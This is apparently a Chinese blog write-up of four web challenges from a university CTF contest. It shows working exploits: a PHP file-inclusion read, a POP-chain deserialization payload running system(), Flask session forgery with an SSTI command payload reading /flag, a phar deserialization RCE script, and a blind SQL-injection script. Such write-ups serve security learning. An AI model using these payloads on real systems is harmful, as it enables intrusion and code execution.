第二届西安邮电大学网络安全技能大赛

第二届西安邮电大学网络安全技能大赛是我校的大型CTF比赛,本次大赛由高年级学生和西安四叶草信息技术有限公司共同供题。因比赛结束,以下解题过程均为题目复现,故不能保证完全一致,仅供参考!

复现地址:网络科技协会XuntCTF

pop

考点:php://filter 伪协议,pop链的构造(php魔术方法)

进入页面,直接看hint.php

<?php
highlight_file(__FILE__);
error_reporting(0);
$flag = 'flag.php';
if(isset($_GET['flag'])){
    $flag = $_GET['flag'];
}
include($flag);
?>

很明显的一个文件包含漏洞,通过伪协议进行读取 flag.php 内容即可获得flag

http://5e4a4b8e-9123-465c-8d67-314fb70a68a9.node.xuntctf.top:8080/hint.php?flag=php://filter/read=convert.base64-encode/resource=flag.php

将得到的 base64 密文进行解密即可!

得到flag

<?php
I'm not a real flag
?>

提交!怎么不对?

(骚年,怎么可能这么简单,醒醒吧!)

读取首页 index.php 的源码

http://5e4a4b8e-9123-465c-8d67-314fb70a68a9.node.xuntctf.top:8080/hint.php?flag=php://filter/read=convert.base64-encode/resource=index.php

将的到的密文解密得到如下代码:

<?php
class Tiger{
    public $string;
    protected $var;
    public function __toString(){
        return $this->string;
    }
    public function boss($value){
        @eval($value);
    }
    public function __invoke(){
        $this->boss($this->var);
    }
}

class Lion{
    public $tail;
    public function __construct(){
        $this->tail = array();
    }
    public function __get($value){
        $function = $this->tail;
        return $function();
    }
}


class Monkey{
    public $head;
    public $hand;
    public function __construct($here="Zoo"){
        $this->head = $here;
        echo "Welcome to ".$this->head."<br>";
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Elephant{
    public $nose;
    public $nice;
    public function __construct($nice="nice"){
        $this->nice = $nice;
        echo $nice;
    }
    public function __toString(){
        return $this->nice->nose;
    }
}

if(isset($_POST['zoo'])){
    @unserialize($_POST['zoo']);
}
else{
    $a = new Monkey;
    echo "hint in hint.php!";
}
?>

可以看出这是个pop链漏洞(题目也可以看出!!!)

pop链的简单学习

学习之后我们找到了这样的一条链子

Money::__wakeup -> Elephant::__toString -> Lion::__get -> Tiger::__invoke

OK!找到链子后就来生成它吧!

exp如下:

<?php
class Tiger{
    public $string;
    protected $var = "system('ls');";
}

class Lion{
    public $tail;
    public function __construct(){
        $this->tail = array();
    }

}


class Monkey{
    public $head;
    public $hand;
    public function __construct($here="Zoo"){
        $this->head = $here;
    }
}

class Elephant{
    public $nose;
    public $nice;
    public function __construct($nice="nice"){
        $this->nice = $nice;
    }
}
$b = new Elephant;
$b->nice = new Lion;
$b->nice->tail = new Tiger;
$a = new Monkey($b);
echo urlencode(serialize($a));
?>

生成的序列化字符串:

O%3A6%3A%22Monkey%22%3A2%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A11%3A%22system%28%27%27%29%3B%22%3B%7D%7D%7Ds%3A4%3A%22hand%22%3BN%3B%7D

回到 index.php 将以上 payload 使用 post 给 zoo 即可成功利用漏洞

PS:这里若出现返回状态码为 500 可以用 burp 传值试一试,如果还是不行,应该就是链子的问题了!

flask

考点:flask SSTI, flask session伪造

进入页面

try to post 'name'

呵呵,你当我不敢?

直接post一手 name=ggbond

image-20211018222709490

再测试几次,发现有可控元素,猜测 name 可能存在 SSTI ,继续post

name={{7*7}}

发现不行,完了不会了,退了重来!这次我不听它的话了!

直接 F12 打开 Network 查看响应头,发现

image-20211018223109709

  1. 进入 /source 查看部分源码(也可以通过dirsearch扫描得知)
source in /source"
        return rsp


@app.route('/source')
def source():
    f = open(__file__, 'r')
    rsp = f.read()
    f.close()
    return rsp[rsp.index('source'):]


@app.route('/admin')
def admin_handler():
    try:
        role = session.get('role')
        if not isinstance(role, dict):
            raise Exception
    except Exception:
        return '~~~~~~hacker!'
    if role.get('is_admin') == 1:
        flag = role.get('flag') or 'admin'
        flag = filter(flag)
        message = "%s, I hope you have a good time!your flag is " % flag
        return render_template_string(message)
    else:
        return "I don't know you"


if __name__ == '__main__':
    app.run('0.0.0.0', port=80)
  1. 猜测 Cookie 中为 flask session

flask session 分为三段,对第一段进行 base64 解密的到:

{"role":{"is_admin":0,"name":"test","secret_key":"VGgxc0BvbmUhc2VDcmV0IQ=="}}

或者可以使用 flask-session-cookie-manager 进行解密,用法见项目 README.md 发现密钥为 base64 密文,解密的到密钥:Th1s@one!seCret!

再通过分析代码可知路由 /admin 出可能存在 SSTI 漏洞,但前提是要判定你为 admin 用户,这里就需要伪造用于身份验证的 session !开始伪造:

payload: {"role":{"is_admin":1,"name":"test"}}

$ python{2,3} flask_session_cookie_manager{2,3}.py encode -s 'Th1s@one!seCret!' -t '{"role":{"is_admin":1,"name":"test"}}'

通过篡改 Cookie 中的 session 成功进入被认证 admin 身份

通过源码或这通过回显可知,ssti注入点为 session 中的 flag 键,所以

payload:{"role":{"is_admin":1,"name":"test","flag":"{{config.__class__.__init__.__globals__.os.popen(\x27cat /flag\x27).read()}}"}}
$ python{2,3} flask_session_cookie_manager{2,3}.py encode -s 'Th1s@one!seCret!' -t '{"role":{"is_admin":1,"name":"test","flag":"{{config.__class__.__init__.__globals__.os.popen(\x27cat /flag\x27).read()}}"}}'

在构造payload时需要注意的是不能出现单引号,在伪造 session 的过程中单引号会丢失(这应该与它的加密原理有关),所以咱们可以用十六进制\0x27进行绕过。

最后篡改Cookie即可获得flag

php

考点:http 文件上传, phar反序列化漏洞

进入页面即可看到源码

<?php
ini_set('display_errors','0');

class photoManage{

    public function __construct(){
        $action=$_POST['action'];
        if($action=='download'){
            echo $this->download();
        }
        if($action=='upload'){
            $this->upload();
        }
    }
    public function download(){
        $filename = $_POST['filename'];
        if(file_exists($filename)){
            if($this->check('',$filename)) {
                include($filename);
            }
        }
    }
    public function upload(){
        $file = $_FILES['photo']['tmp_name'];
        $filename = $_FILES['photo']['name'];
        if($this->check($file,'')) {
            print(base64_encode($_SERVER["REMOTE_ADDR"]));
            move_uploaded_file($_FILES['photo']['tmp_name'], '/usr/share/nginx/html/uploads/' . base64_encode($_SERVER["REMOTE_ADDR"]).'.jpg');
        }
    }
    public function check($file,$filename){
        if(preg_match('/<\?/',empty($file)?:file_get_contents($file))){
            die('你要是图片我肯定要啊');
        }
        if(preg_match('/flag|:/',$filename)){
            die('no way');
        }
        return true;
    }

}

class Test{
    public $con;

    public function __wakeup(){
        $shell=$_POST['shell'];
        if($shell){
            eval($shell);
        }

    }

}

$o = new photoManage();
highlight_file(__FILE__);

Phar反序列化漏洞

通过上文的学习写出exp:

exp.php

<?php
    class Test{
    }
    $phar = new Phar("1.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub(" __HALT_COMPILER();"); //设置stub
    $o = new Test();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

使用 postman 进行文件上传,通过对上面文章 phar 反序列化漏洞的学习后,直接使用 phar:// 协议出发反序列化漏洞

从而实现rce,最后在根目录发现flag,进行读取即可!

sql

考点:sql延时盲注, sql bypass

因题目还未部署,先贴exp:

import requests
from urllib.parse import unquote

url = "http://233e0375.lxctf.net/login.php"


def f(s):
    res = ''
    for i in s:
        res += hex(ord(i))[-2:]
    return '0x' + res + '25'


def encode(s):
    return unquote(s.replace(' ', '%09'))


if __name__ == '__main__':
    s = ''
    flag = ''
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    for i in range(9):
        s = flag
        for j in range(97, 123):
            pwd = s + chr(j)
            data = {
                'username': 'a\\',
                'passwd': encode('||passwd like {} && sleep(2)#'.format(f(pwd))) # ||reverse(passwd) like {} && sleep(2)#
            }
            # print(data)
            try:
                res = requests.post(url, data=data, timeout=2, headers=headers)
                # rint(res.text)
                continue
            except:
                flag += chr(j)
                print('flag:  ' + flag)
                break
posted @ 2023-01-08 23:13  seizer-zyx  阅读(173)  评论(0编辑  收藏  举报